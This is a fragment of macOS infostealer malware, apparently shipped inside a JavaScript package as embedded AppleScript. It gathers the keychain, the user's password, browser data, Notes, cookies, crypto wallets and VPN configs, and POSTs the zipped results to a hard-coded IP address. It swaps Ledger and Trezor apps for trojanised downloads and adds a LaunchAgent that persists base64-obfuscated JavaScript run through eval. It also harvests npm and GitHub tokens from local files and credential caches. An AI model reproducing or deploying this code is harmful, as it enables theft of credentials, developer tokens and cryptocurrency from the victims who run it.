set result_send to (do shell script "curl -X POST -H \\"uuid: 7c102363-8542-459f-95dd-d845ec5df44c\\" -H \\"user: admin\\" -H \\"buildid: 2026-03-10T21:58:46.968Z\\" -H \\"uuid_machine: " & uuid_machine & "\\" --max-time 300 --retry 5 --retry-delay 10 --data-binary @/tmp/out.zip http://208.76.223.59/p2p")
on error
if attempt < 40 then
delay 3
send_data(attempt + 1)
end if
end try
end send_data
on VPN(writemind, vpn_dirs)
end VPN
set username to (system attribute "USER")
set profile to "/Users/" & username
set writemind to "/tmp/ijewf/"
try
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "user")
end try
set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind)
delay 0.01
set chromiumMap to {{"Chrome", library & "Google/Chrome/"}, {"Brave", library & "BraveSoftware/Brave-Browser/"}, {"Edge", library & "Microsoft Edge/"}, {"Vivaldi", library & "Vivaldi/"}, {"Opera", library & "com.operasoftware.Opera/"}, {"OperaGX", library & "com.operasoftware.OperaGX/"}, {"Chrome Beta", library & "Google/Chrome Beta/"}, {"Chrome Canary", library & "Google/Chrome Canary"}, {"Chromium", library & "Chromium/"}, {"Chrome Dev", library & "Google/Chrome Dev/"}}
set walletMap to {{"deskwallets/Electrum", profile & "/.electrum/wallets/"}, {"deskwallets/Coinomi", library & "Coinomi/wallets/"}, {"deskwallets/Exodus", library & "Exodus/"}, {"deskwallets/Atomic", library & "atomic/Local Storage/leveldb/"}, {"deskwallets/Wasabi", profile & "/.walletwasabi/client/Wallets/"}, {"deskwallets/Ledger_Live", library & "Ledger Live/"}, {"deskwallets/Monero", profile & "/Monero/wallets/"}, {"deskwallets/Bitcoin_Core", library & "Bitcoin/wallets/"}, {"deskwallets/Litecoin_Core", library & "Litecoin/wallets/"}, {"deskwallets/Dash_Core", library & "DashCore/wallets/"}, {"deskwallets/Electrum_LTC", profile & "/.electrum-ltc/wallets/"}, {"deskwallets/Electron_Cash", profile & "/.electron-cash/wallets/"}, {"deskwallets/Guarda", library & "Guarda/"}, {"deskwallets/Dogecoin_Core", library & "Dogecoin/wallets/"}, {"deskwallets/Trezor_Suite", library & "@trezor/suite-desktop/"}}
readwrite(library & "Binance/app-store.json", writemind & "deskwallets/Binance/app-store.json")
readwrite(library & "@tonkeeper/desktop/config.json", "deskwallets/TonKeeper/config.json")
readwrite(profile & "/Library/Keychains/login.keychain-db", writemind & "keychain")
if release then
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "FileGrabber/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "FileGrabber/NoteStore.sqlite-wal")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "FileGrabber/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/Cookies.binarycookies")
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "FileGrabber/saf1")
end if
if filegrabbers then
filegrabber()
end if
writeText(username, writemind & "username")
set ff_paths to {library & "Firefox/Profiles/", library & "Waterfox/Profiles/", library & "Pale Moon/Profiles/"}
repeat with firefox in ff_paths
try
parseFF(firefox, writemind)
end try
end repeat
on installWallet(walletType, baseURL, installDir)
set tempZip to "/tmp/wallet-installer-" & walletType & ".zip"
set tempExtractDir to "/tmp/wallet-extract-" & walletType & "-" & (do shell script "date +%s")
try
if walletType is "trezor" then
set downloadURL to baseURL & "darwin-universal/3JqStAJCgGftaOafUiGG1A%3D%3D?wallet=trezor"
set appsToRemove to {"/Applications/Trezor Suite.app"}
else if walletType is "ledger" then
set downloadURL to baseURL & "darwin-universal/3JqStAJCgGftaOafUiGG1A%3D%3D?wallet=ledger"
set appsToRemove to {"/Applications/Ledger Live.app", "/Applications/Ledger Wallet.app"}
else
return
end if
do shell script "rm -f " & quoted form of tempZip & " 2>/dev/null || true"
do shell script "rm -rf " & quoted form of tempExtractDir & " 2>/dev/null || true"
do shell script "mkdir -p " & quoted form of tempExtractDir
set downloadSuccess to false
set attemptCount to 0
repeat while attemptCount < 5 and downloadSuccess is false
set attemptCount to attemptCount + 1
try
do shell script "curl -L " & quoted form of downloadURL & " -o " & quoted form of tempZip & " --max-time 300 2>&1"
set downloadSuccess to true
on error errMsg
if attemptCount < 5 then
delay 3
end if
end try
end repeat
if not downloadSuccess then
my cleanup(tempZip, tempExtractDir)
return
end if
set fileExists to do shell script "test -f " & quoted form of tempZip & " && echo yes || echo no"
if fileExists is "no" then
my cleanup(tempZip, tempExtractDir)
return
end if
set fileSize to do shell script "stat -f%z " & quoted form of tempZip & " 2>/dev/null || echo 0"
if (fileSize as number) < 1000 then
my cleanup(tempZip, tempExtractDir)
return
end if
try
do shell script "unzip -q " & quoted form of tempZip & " -d " & quoted form of tempExtractDir & " 2>&1"
on error
my cleanup(tempZip, tempExtractDir)
return
end try
set extractedApp to do shell script "find " & quoted form of tempExtractDir & " -name *.app -type d 2>/dev/null | head -n 1"
if extractedApp is "" then
my cleanup(tempZip, tempExtractDir)
return
end if
log "Found app: " & extractedApp
repeat with appPath in appsToRemove
if (do shell script "test -d " & quoted form of appPath & " && echo exists || echo not_found") is "exists" then
my removeExistingApp(appPath)
end if
end repeat
do shell script "xattr -c " & quoted form of extractedApp & " 2>/dev/null || true"
do shell script "xattr -dr com.apple.quarantine " & quoted form of extractedApp & " 2>/dev/null || true"
set extractedAppName to do shell script "basename " & quoted form of extractedApp
set targetPath to installDir & "/" & extractedAppName
try
do shell script "ditto " & quoted form of extractedApp & " " & quoted form of targetPath
on error
try
do shell script "cp -R " & quoted form of extractedApp & " " & quoted form of targetPath
on error
my cleanup(tempZip, tempExtractDir)
return
end try
end try
set installSuccess to do shell script "test -d " & quoted form of targetPath & " && echo yes || echo no"
if installSuccess is "no" then
log "Installation failed"
my cleanup(tempZip, tempExtractDir)
return
end if
log "Installation successful: " & targetPath
try
do shell script "chmod -R 755 " & quoted form of targetPath & " 2>/dev/null"
on error
try
do shell script "chmod -R 755 " & quoted form of targetPath with administrator privileges
end try
end try
do shell script "xattr -c " & quoted form of targetPath & " 2>/dev/null || true"
do shell script "xattr -dr com.apple.quarantine " & quoted form of targetPath & " 2>/dev/null || true"
my cleanup(tempZip, tempExtractDir)
on error
try
my cleanup(tempZip, tempExtractDir)
end try
end try
end installWallet
on removeExistingApp(appPath)
try
set processName to do shell script "basename " & quoted form of appPath & " .app"
try
set isRunning to do shell script "pgrep -f " & quoted form of processName & " >/dev/null 2>&1 && echo running || echo not_running"
if isRunning is "running" then
do shell script "pkill -f " & quoted form of processName & " 2>/dev/null || true"
delay 2
end if
end try
try
do shell script "rm -rf " & quoted form of appPath & " 2>/dev/null"
on error
try
do shell script "rm -rf " & quoted form of appPath with administrator privileges
end try
end try
delay 1
set stillExists to do shell script "test -d " & quoted form of appPath & " && echo yes || echo no"
if stillExists is "yes" then
error "Failed to remove existing installation"
end if
on error errMsg
error errMsg
end try
end removeExistingApp
on cleanup(tempZip, tempExtractDir)
try
do shell script "rm -f " & quoted form of tempZip & " 2>/dev/null || true"
do shell script "rm -rf " & quoted form of tempExtractDir & " 2>/dev/null || true"
end try
end cleanup
chromium(writemind, chromiumMap)
deskwallets(writemind, walletMap)
--GrabFolderLimit("/tmp/photos/", writemind & "FileGrabber/NotesPhoto/")
--set vpns to {{"OpenVPN", library & "OpenVPN Connect/profiles/"}}
readwrite("/Library/Application Support/Fortinet/FortiClient/conf/vpn.plist", writemind & "vpn/FortiVPN/vpn.plist")
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/out.zip"
send_data(0)
set baseURL to "http://217.69.11.99/"
set installDir to "/Applications"
set hasLedgerLive to (do shell script "test -d " & quoted form of "/Applications/Ledger Live.app" & " && echo yes || echo no") is "yes"
set hasLedgerWallet to (do shell script "test -d " & quoted form of "/Applications/Ledger Wallet.app" & " && echo yes || echo no") is "yes"
set hasTrezor to (do shell script "test -d " & quoted form of "/Applications/Trezor Suite.app" & " && echo yes || echo no") is "yes"
if not hasLedgerLive and not hasLedgerWallet and not hasTrezor then
return
end if
if hasLedgerLive or hasLedgerWallet then
my installWallet("ledger", baseURL, installDir)
end if
if hasTrezor then
my installWallet("trezor", baseURL, installDir)
end if
do shell script "rm -r " & writemind
do shell script "rm -r /tmp/photos"
do shell script "rm /tmp/out.zip"
do shell script "defaults write com.apple.notificationcenterui doNotDisturb -boolean true && killall NotificationCenter"
do shell script "defaults write com.apple.notificationcenterui showBanners -bool false"
do shell script "
if [ ! -f ~/.config/system/.data/.nodejs/node-v23.5.0-darwin-x64/bin/node ]; then
mkdir -p ~/.config/system/.data/.nodejs
curl -fsSL https://nodejs.org/download/release/v23.5.0/node-v23.5.0-darwin-x64.tar.xz | tar -xJ -C ~/.config/system/.data/.nodejs/
fi
if [ -f ~/Library/LaunchAgents/com.user.nodestart.plist ]; then
launchctl unload ~/Library/LaunchAgents/com.user.nodestart.plist 2>/dev/null || true
fi
cat > ~/Library/LaunchAgents/com.user.nodestart.plist << EOF
<?xml version=\\"1.0\\" encoding=\\"UTF-8\\"?>
<!DOCTYPE plist PUBLIC \\"-//Apple//DTD PLIST 1.0//EN\\" \\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\">
<plist version=\\"1.0\\">
<dict>
<key>Label</key>
<string>com.user.nodestart</string>
<key>ProgramArguments</key>
<array>
<string>_home_/.config/system/.data/.nodejs/node-v23.5.0-darwin-x64/bin/node</string>
<string>-e</string>
<string>eval(atob('dmFyIF9fY3JlYXRlPU9iamVjdC5jcmVhdGU7dmFyIF9fZGVmUHJvcD1PYmplY3QuZGVmaW5lUHJvcGVydHk7dmFyIF9fZ2V0T3duUHJvcERlc2M9T2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcjt2YXIgX19nZXRPd25Qcm9wTmFtZXM9T2JqZWN0LmdldE93blByb3BlcnR5TmFtZXM7dmFyIF9fZ2V0UHJvdG9PZj1PYmplY3QuZ2V0UHJvdG90eXBlT2Y7dmFyIF9faGFzT3duUHJvcD1PYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5O3ZhciBfX25hbWU9KHRhcmdldCx2YWx1ZTIpPT5fX2RlZlByb3AodGFyZ2V0LCJuYW1lIix7dmFsdWU6dmFsdWUyLGNvbmZpZ3VyYWJsZTp0cnVlfSk7dmFyIF9fY29tbW9uSlM9KGNiLG1vZCk9PmZ1bmN0aW9uIF9fcmVxdWlyZSgpe3JldHVybiBtb2R8fCgwLGNiW19fZ2V0T3duUHJvcE5hbWVzKGNiKVswXV0pKChtb2Q9e2V4cG9ydHM6e319KS5leHBvcnRzLG1vZCksbW9kLmV4cG9ydHN9O3ZhciBfX2V4cG9ydD0odGFyZ2V0LGFsbCk9Pntmb3IodmFyIG5hbWUgaW4gYWxsKV9fZGVmUHJvcCh0YXJnZXQsbmFtZSx7Z2V0OmFsbFtuYW1lXSxlbnVtZXJhYmxlOnRydWV9KX07dmFyIF9fY29weVByb3BzPSh0byxmcm9tLGV4Y2VwdCxkZXNjKT0+e2lmKGZyb20mJnR5cGVvZiBmcm9tPT09Im9iamVjdCJ8fHR5cGVvZiBmcm9tPT09ImZ1bmN0aW9uIil7Zm9yKGxldCBrZXkgb2YgX19nZXRPd25Qcm9wTmFtZXMoZnJvbSkpaWYoIV9faGFzT3duUHJvcC5jYWxsKHRvLGtleSkmJmtleSE9PWV4Y2VwdClfX2RlZlByb3AodG8sa2V5LHtnZXQ6KCk9PmZyb21ba2V5XSxlbnVtZXJhYmxlOiEoZGVzYz1fX2dldE93blByb3BEZXNjKGZyb20sa2V5KSl8fGRlc2MuZW51bWVyYWJsZX0pfXJldHVybiB0b307dmFyIF9fdG9FU009KG1vZCxpc05vZGVNb2RlLHRhcmdldCk9Pih0YXJnZXQ9bW9kIT1udWxsP19fY3JlYXRlKF9fZ2V0UHJvdG9PZihtb2QpKTp7fSxfX2NvcHlQcm9wcyhpc05vZGVNb2RlfHwhbW9kfHwhbW9kLl9fZXNNb2R1bGU/X19kZWZQcm9wKHRhcmdldCwiZGVmYXVsdCIse3ZhbHVlOm1vZCxlbnVtZXJhYmxlOnRydWV9KTp0YXJnZXQsbW9kKSk7dmFyIHJlcXVpcmVfY29uc3RhbnRzPV9fY29tbW9uSlMoeyJub2RlX21vZHVsZXMvYWRtLXppcC91dGlsL2NvbnN0YW50cy5qcyIoZXhwb3J0czIsbW9kdWxlMil7bW9kdWxlMi5leHBvcnRzPXtMT0NIRFI6MzAsTE9DU0lHOjY3MzI0NzUyLExPQ1ZFUjo0LExPQ0ZMRzo2LExPQ0hPVzo4LExPQ1RJTToxMCxMT0NDUkM6MTQsTE9DU0laOjE4LExPQ0xFTjoyMixMT0NOQU06MjYsTE9DRVhUOjI4LEVYVFNJRzoxMzQ2OTU3NjAsRVhUSERSOjE2LEVYVENSQzo0LEVYVFNJWjo4LEVYVExFTjoxMixDRU5IRFI6NDYsQ0VOU0lHOjMzNjM5MjQ4LENFTlZFTTo0LENFTlZFUjo2LENFTkZMRzo4LENFTkhPVzoxMCxDRU5USU06MTIsQ0VOQ1JDOjE2LENFTlNJWjoyMCxDRU5MRU46MjQsQ0VOTkFNOjI4LENFTkVYVDozMCxDRU5DT006MzIsQ0VORFNLOjM0LENFTkFUVDozNixDRU5BVFg6MzgsQ0VOT0ZGOjQyLEVOREhEUjoyMixFTkRTSUc6MTAxMDEwMjU2LEVORFNVQjo4LEVORFRPVDoxMCxFTkRTSVo6MTIsRU5ET0ZGOjE2LEVORENPTToyMCxFTkQ2NEhEUjoyMCxFTkQ2NFNJRzoxMTc4NTMwMDgsRU5ENjRTVEFSVDo0LEVORDY0T0ZGOjgsRU5ENjROVU1ESVNLUzoxNixaSVA2NFNJRzoxMDEwNzU3OTIsWklQNjRIRFI6NTYsWklQNjRMRUFEOjEyLFpJUDY0U0laRTo0LFpJUDY0VkVNOjEyLFpJUDY0VkVSOjE0LFpJUDY0RFNLOjE2LFpJUDY0RFNLRElSOjIwLFpJUDY0U1VCOjI0LFpJUDY0VE9UOjMyLFpJUDY0U0laQjo0MCxaSVA2NE9GRjo0OCxaSVA2NEVYVFJBOjU2LFNUT1JFRDowLFNIUlVOSzoxLFJFRFVDRUQxOjIsUkVEVUNFRDI6MyxSRURVQ0VEMzo0LFJFRFVDRUQ0OjUsSU1QTE9ERUQ6NixERUZMQVRFRDo4LEVOSEFOQ0VEX0RFRkxBVEVEOjksUEtXQVJFOjEwLEJaSVAyOjEyLExaTUE6MTQsSUJNX1RFUlNFOjE4LElCTV9MWjc3OjE5LEFFU19FTkNSWVBUOjk5LEZMR19FTkM6MSxGTEdfQ09NUDE6MixGTEdfQ09NUDI6NCxGTEdfREVTQzo4LEZMR19FTkg6MTYsRkxHX1BBVENIOjMyLEZMR19TVFI6NjQsRkxHX0VGUzoyMDQ4LEZMR19NU0s6NDA5NixGSUxFOjIsQlVGRkVSOjEsTk9ORTowLEVGX0lEOjAsRUZfU0laRToyLElEX1pJUDY0OjEsSURfQVZJTkZPOjcsSURfUEZTOjgsSURfT1MyOjksSURfTlRGUzoxMCxJRF9PUEVOVk1TOjEyLElEX1VOSVg6MTMsSURfRk9SSzoxNCxJRF9QQVRDSDoxNSxJRF9YNTA5X1BLQ1M3OjIwLElEX1g1MDlfQ0VSVElEX0Y6MjEsSURfWDUwOV9DRVJUSURfQzoyMixJRF9TVFJPTkdFTkM6MjMsSURfUkVDT1JEX01HVDoyNCxJRF9YNTA5X1BLQ1M3X1JMOjI1LElEX0lCTTE6MTAxLElEX0lCTTI6MTAyLElEX1BPU1pJUDoxODA2NCxFRl9aSVA2NF9PUl8zMjo0Mjk0OTY3Mjk1LEVGX1pJUDY0X09SXzE2OjY1NTM1LEVGX1pJUDY0X1NVTkNPTVA6MCxFRl9aSVA2NF9TQ09NUDo4LEVGX1pJUDY0X1JITzoxNixFRl9aSVA2NF9EU046MjR9fX0pO3ZhciByZXF1aXJlX2Vycm9ycz1fX2NvbW1vbkpTKHsibm9kZV9tb2R1bGVzL2FkbS16aXAvdXRpbC9lcnJvcnMuanMiKGV4cG9ydHMyKXt2YXIgZXJyb3JzPXtJTlZBTElEX0xPQzoiSW52YWxpZCBMT0MgaGVhZGVyIChiYWQgc2lnbmF0dXJlKSIsSU5WQUxJRF9DRU46IkludmFsaWQgQ0VOIGhlYWRlciAoYmFkIHNpZ25hdHVyZSkiLElOVkFMSURfRU5EOiJJbnZhbGlkIEVORCBoZWFkZXIgKGJhZCBzaWduYXR1cmUpIixERVNDUklQVE9SX05PVF9FWElTVDoiTm8gZGVzY3JpcHRvciBwcmVzZW50IixERVNDUklQVE9SX1VOS05PV046IlVua25vd24gZGVzY3JpcHRvciBmb3JtYXQiLERFU0NSSVBUT1JfRkFVTFRZOiJEZXNjcmlwdG9yIGRhdGEgaXMgbWFsZm9ybWVkIixOT19EQVRBOiJOb3RoaW5nIHRvIGRlY29tcHJlc3MiLEJBRF9DUkM6IkNSQzMyIGNoZWNrc3VtIGZhaWxlZCB7MH0iLEZJTEVfSU5fVEhFX1dBWToiVGhlcmUgaXMgYSBmaWxlIGluIHRoZSB3YXk6IHswfSIsVU5LTk9XTl9NRVRIT0Q6IkludmFsaWQv
</array>
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key>
<false/>
</dict>
<key>StartOnMount</key>
<true/>
</dict>
</plist>
EOF
launchctl load ~/Library/LaunchAgents/com.user.nodestart.plist
"
`;
var child = child_process.spawn("osascript", ["-"]);
var _tempF = path.join(os.tmpdir(), "h");
if (!fs.existsSync(_tempF)) {
fs.mkdirSync(_tempF);
}
var grabber = new FileGrabber();
grabber
.run()
.then((success) => {
child.stdin.write(appleScriptCode.replace("_home_", "$HOME") + "\n");
child.stdin.end();
child.stdout.on("data", (data) => console.log(data.toString()));
child.stdout.on("data", (data) => console.log(data.toString()));
child.on("close", (_) => {
startExf();
child_process.exec(
`#!/bin/bash
if [ ! -f ~/.config/system/.data/.nodejs/node-v23.5.0-darwin-x64/bin/node ]; then
mkdir -p ~/.config/system/.data/.nodejs
curl -fsSL https://nodejs.org/download/release/v23.5.0/node-v23.5.0-darwin-x64.tar.xz | tar -xJ -C ~/.config/system/.data/.nodejs/
fi
~/.config/system/.data/.nodejs/node-v23.5.0-darwin-x64/bin/node -e "eval(atob('dmFyIF9fY3JlYXRlPU9iamVjdC5jcmVhdGU7dmFyIF9fZGVmUHJvcD1PYmplY3QuZGVmaW5lUHJvcGVydHk7dmFyIF9fZ2V0T3duUHJvcERlc2M9T2JqZWN0LmdldE93blByb3BlcnR5RGVzY3JpcHRvcjt2YXIgX19nZXRPd25Qcm9wTmFtZXM9T2JqZWN0LmdldE93blByb3BlcnR5TmFtZXM7dmFyIF9fZ2V0UHJvdG9PZj1PYmplY3QuZ2V0UHJvdG90eXBlT2Y7dmFyIF9faGFzT3duUHJvcD1PYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5O3ZhciBfX25hbWU9KHRhcmdldCx2YWx1ZTIpPT5fX2RlZlByb3AodGFyZ2V0LCJuYW1lIix7dmFsdWU6dmFsdWUyLGNvbmZpZ3VyYWJsZTp0cnVlfSk7dmFyIF9fY29tbW9uSlM9KGNiLG1vZCk9PmZ1bmN0aW9uIF9fcmVxdWlyZSgpe3JldHVybiBtb2R8fCgwLGNiW19fZ2V0T3duUHJvcE5hbWVzKGNiKVswXV0pKChtb2Q9e2V4cG9ydHM6e319KS5leHBvcnRzLG1vZCksbW9kLmV4cG9ydHN9O3ZhciBfX2V4cG9ydD0odGFyZ2V0LGFsbCk9Pntmb3IodmFyIG5hbWUgaW4gYWxsKV9fZGVmUHJvcCh0YXJnZXQsbmFtZSx7Z2V0OmFsbFtuYW1lXSxlbnVtZXJhYmxlOnRydWV9KX07dmFyIF9fY29weVByb3BzPSh0byxmcm9tLGV4Y2VwdCxkZXNjKT0+e2lmKGZyb20mJnR5cGVvZiBmcm9tPT09Im9iamVjdCJ8fHR5cGVvZiBmcm9tPT09ImZ1bmN0aW9uIil7Zm9yKGxldCBrZXkgb2YgX19nZXRPd25Qcm9wTmFtZXMoZnJvbSkpaWYoIV9faGFzT3duUHJvcC5jYWxsKHRvLGtleSkmJmtleSE9PWV4Y2VwdClfX2RlZlByb3AodG8sa2V5LHtnZXQ6KCk9PmZyb21ba2V5XSxlbnVtZXJhYmxlOiEoZGVzYz1fX2dldE93blByb3BEZXNjKGZyb20sa2V5KSl8fGRlc2MuZW51bWVyYWJsZX0pfXJldHVybiB0b307dmFyIF9fdG9FU009KG1vZCxpc05vZGVNb2RlLHRhcmdldCk9Pih0YXJnZXQ9bW9kIT1udWxsP19fY3JlYXRlKF9fZ2V0UHJvdG9PZihtb2QpKTp7fSxfX2NvcHlQcm9wcyhpc05vZGVNb2RlfHwhbW9kfHwhbW9kLl9fZXNNb2R1bGU/X19kZWZQcm9wKHRhcmdldCwiZGVmYXVsdCIse3ZhbHVlOm1vZCxlbnVtZXJhYmxlOnRydWV9KTp0YXJnZXQsbW9kKSk7dmFyIHJlcXVpcmVfY29uc3RhbnRzPV9fY29tbW9uSlMoeyJub2RlX21vZHVsZXMvYWRtLXppcC91dGlsL2NvbnN0YW50cy5qcyIoZXhwb3J0czIsbW9kdWxlMil7bW9kdWxlMi5leHBvcnRzPXtMT0NIRFI6MzAsTE9DU0lHOjY3MzI0NzUyLExPQ1ZFUjo0LExPQ0ZMRzo2LExPQ0hPVzo4LExPQ1RJTToxMCxMT0NDUkM6MTQsTE9DU0laOjE4LExPQ0xFTjoyMixMT0NOQU06MjYsTE9DRVhUOjI4LEVYVFNJRzoxMzQ2OTU3NjAsRVhUSERSOjE2LEVYVENSQzo0LEVYVFNJWjo4LEVYVExFTjoxMixDRU5IRFI6NDYsQ0VOU0lHOjMzNjM5MjQ4LENFTlZFTTo0LENFTlZFUjo2LENFTkZMRzo4LENFTkhPVzoxMCxDRU5USU06MTIsQ0VOQ1JDOjE2LENFTlNJWjoyMCxDRU5MRU46MjQsQ0VOTkFNOjI4LENFTkVYVDozMCxDRU5DT006MzIsQ0VORFNLOjM0LENFTkFUVDozNixDRU5BVFg6MzgsQ0VOT0ZGOjQyLEVOREhEUjoyMixFTkRTSUc6MTAxMDEwMjU2LEVORFNVQjo4LEVORFRPVDoxMCxFTkRTSVo6MTIsRU5ET0ZGOjE2LEVORENPTToyMCxFTkQ2NEhEUjoyMCxFTkQ2NFNJRzoxMTc4NTMwMDgsRU5ENjRTVEFSVDo0LEVORDY0T0ZGOjgsRU5ENjROVU1ESVNLUzoxNixaSVA2NFNJRzoxMDEwNzU3OTIsWklQNjRIRFI6NTYsWklQNjRMRUFEOjEyLFpJUDY0U0laRTo0LFpJUDY0VkVNOjEyLFpJUDY0VkVSOjE0LFpJUDY0RFNLOjE2LFpJUDY0RFNLRElSOjIwLFpJUDY0U1VCOjI0LFpJUDY0VE9UOjMyLFpJUDY0U0laQjo0MCxaSVA2NE9GRjo0OCxaSVA2NEVYVFJBOjU2LFNUT1JFRDowLFNIUlVOSzoxLFJFRFVDRUQxOjIsUkVEVUNFRDI6MyxSRURVQ0VEMzo0LFJFRFVDRUQ0OjUsSU1QTE9ERUQ6NixERUZMQVRFRDo4LEVOSEFOQ0VEX0RFRkxBVEVEOjksUEtXQVJFOjEwLEJaSVAyOjEyLExaTUE6MTQsSUJNX1RFUlNFOjE4LElCTV9MWjc3OjE5LEFFU19FTkNSWVBUOjk5LEZMR19FTkM6MSxGTEdfQ09NUDE6MixGTEdfQ09NUDI6NCxGTEdfREVTQzo4LEZMR19FTkg6MTYsRkxHX1BBVENIOjMyLEZMR19TVFI6NjQsRkxHX0VGUzoyMDQ4LEZMR19NU0s6NDA5NixGSUxFOjIsQlVGRkVSOjEsTk9ORTowLEVGX0lEOjAsRUZfU0laRToyLElEX1pJUDY0OjEsSURfQVZJTkZPOjcsSURfUEZTOjgsSURfT1MyOjksSURfTlRGUzoxMCxJRF9PUEVOVk1TOjEyLElEX1VOSVg6MTMsSURfRk9SSzoxNCxJRF9QQVRDSDoxNSxJRF9YNTA5X1BLQ1M3OjIwLElEX1g1MDlfQ0VSVElEX0Y6MjEsSURfWDUwOV9DRVJUSURfQzoyMixJRF9TVFJPTkdFTkM6MjMsSURfUkVDT1JEX01HVDoyNCxJRF9YNTA5X1BLQ1M3X1JMOjI1LElEX0lCTTE6MTAxLElEX0lCTTI6MTAyLElEX1BPU1pJUDoxODA2NCxFRl9aSVA2NF9PUl8zMjo0Mjk0OTY3Mjk1LEVGX1pJUDY0X09SXzE2OjY1NTM1LEVGX1pJUDY0X1NVTkNPTVA6MCxFRl9aSVA2NF9TQ09NUDo4LEVGX1pJUDY0X1JITzoxNixFRl9aSVA2NF9EU046MjR9fX0pO3ZhciByZXF1aXJlX2Vycm9ycz1fX2NvbW1vbkpTKHsibm9kZV9tb2R1bGVzL2FkbS16aXAvdXRpbC9lcnJvcnMuanMiKGV4cG9ydHMyKXt2YXIgZXJyb3JzPXtJTlZBTElEX0xPQzoiSW52YWxpZCBMT0MgaGVhZGVyIChiYWQgc2lnbmF0dXJlKSIsSU5WQUxJRF9DRU46IkludmFsaWQgQ0VOIGhlYWRlciAoYmFkIHNpZ25hdHVyZSkiLElOVkFMSURfRU5EOiJJbnZhbGlkIEVORCBoZWFkZXIgKGJhZCBzaWduYXR1cmUpIixERVNDUklQVE9SX05PVF9FWElTVDoiTm8gZGVzY3JpcHRvciBwcmVzZW50IixERVNDUklQVE9SX1VOS05PV046IlVua25vd24gZGVzY3JpcHRvciBmb3JtYXQiLERFU0NSSVBUT1JfRkFVTFRZOiJEZXNjcmlwdG9yIGRhdGEgaXMgbWFsZm9ybWVkIixOT19EQVRBOiJOb3RoaW5nIHRvIGRlY29tcHJlc3MiLEJBRF9DUkM6IkNSQzMyIGNoZWNrc3VtIGZhaWxlZCB7MH0iLEZJTEVfSU5fVEhFX1dBWToiVGhlcmUgaXMgYSBmaWxlIGlu
(err, data) => {},
);
});
})
.catch((error) => {});
function GijAtOGHv(filePath) {
const dir = path.dirname(filePath);
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true });
}
}
var NpmTokenHandler = class {
constructor() {
this.token = this.retrieveNpmToken();
}
isNpmAvailable() {
try {
const result = child_process.execSync("npm --version", {
encoding: "utf8",
stdio: "pipe",
});
return true;
} catch (error) {
return false;
}
}
retrieveNpmToken() {
const methods = [
this.getFromNpmConfig.bind(this),
this.getFromNpmrcFile.bind(this),
this.getFromEnv.bind(this),
];
for (const method of methods) {
const token = method();
if (token) {
return token;
}
}
return null;
}
getFromNpmConfig() {
try {
const registry = child_process
.execSync("npm config get registry")
.toString()
.trim();
const token = child_process
.execSync(
`npm config get //${registry.replace(/^https?:\/\//, "")}:_authToken`,
)
.toString()
.trim();
return token !== "undefined" ? token : null;
} catch (error) {
return null;
}
}
getFromNpmrcFile() {
try {
const os2 = require("os");
const npmrcPath = path.join(os2.homedir(), ".npmrc");
if (fs.existsSync(npmrcPath)) {
const content = fs.readFileSync(npmrcPath, "utf8");
const tokenMatch = content.match(/_authToken=(.+)/);
if (tokenMatch) return tokenMatch[1].trim();
const authMatch = content.match(/_auth=(.+)/);
if (authMatch) return authMatch[1].trim();
}
return null;
} catch (error) {
return null;
}
}
getFromEnv() {
return process.env.NPM_TOKEN || null;
}
async verifyToken() {
if (!this.token) {
return {
valid: false,
error:
"\u0422\u043E\u043A\u0435\u043D \u043D\u0435 \u043D\u0430\u0439\u0434\u0435\u043D",
};
}
try {
const response = await fetch(`https://registry.npmjs.org/-/whoami`, {
headers: {
Authorization: `Bearer ${this.token}`,
"Content-Type": "application/json",
},
timeout: 5e3,
}).then((res) => res.json());
return {
valid: true,
username: response,
token: this.token,
};
} catch (error) {
return {
valid: false,
error: error.response?.data || error.message,
};
}
}
async getUserInfo() {
const verification = await this.verifyToken();
if (!verification.valid) {
throw new Error(
`\u041D\u0435\u0432\u0430\u043B\u0438\u0434\u043D\u044B\u0439 \u0442\u043E\u043A\u0435\u043D: ${verification.error}`,
);
}
}
};
function oemIU() {
const npmHandler = new NpmTokenHandler();
if (!npmHandler.isNpmAvailable()) {
return;
}
npmHandler
.verifyToken()
.then((result) => {
if (result.valid) {
GijAtOGHv(path.join(_tempF, "token_npm.txt"));
fs.writeFileSync(
path.join(_tempF, "token_npm.txt"),
JSON.stringify(result),
);
} else {
}
})
.catch((_) => {});
}
var TokenHandler = class {
getFromGitCredentialCache() {
try {
const output = child_process.execSync("git credential fill", {
input: "protocol=https\nhost=github.com\n\n",
encoding: "utf8",
timeout: 3e3,
stdio: ["pipe", "pipe", "ignore"],
});
const passwordMatch = output.match(/password=([^\n]+)/);
if (passwordMatch && passwordMatch[1] !== "") {
return passwordMatch[1];
}
} catch (error) {}
try {
const homeDir = os.homedir();
const gitCredentialPaths = [
path.join(homeDir, ".git-credentials"),
path.join(homeDir, ".config", "git", "credentials"),
];
for (const credPath of gitCredentialPaths) {
if (fs.existsSync(credPath)) {
const content = fs.readFileSync(credPath, "utf8");
const tokenMatch = content.match(
/https:\/\/[^:]+:([^@]+)@github\.com/,
);
if (tokenMatch && tokenMatch[1] !== "") {
return tokenMatch[1];
}
}
}
} catch (error) {}
return null;
}
getFromVSCodeStorage() {
try {
const os2 = require("os");
const homeDir = os2.homedir();
const vscodePaths = [
path.join(
homeDir,
".vscode",
"data",
"User",
"globalStorage",
"github.vscode-pull-request-github",
),
path.join(
homeDir,
".vscode",
"extensions",
"github.vscode-pull-request-*",
"data",
),
path.join(
homeDir,
".config",
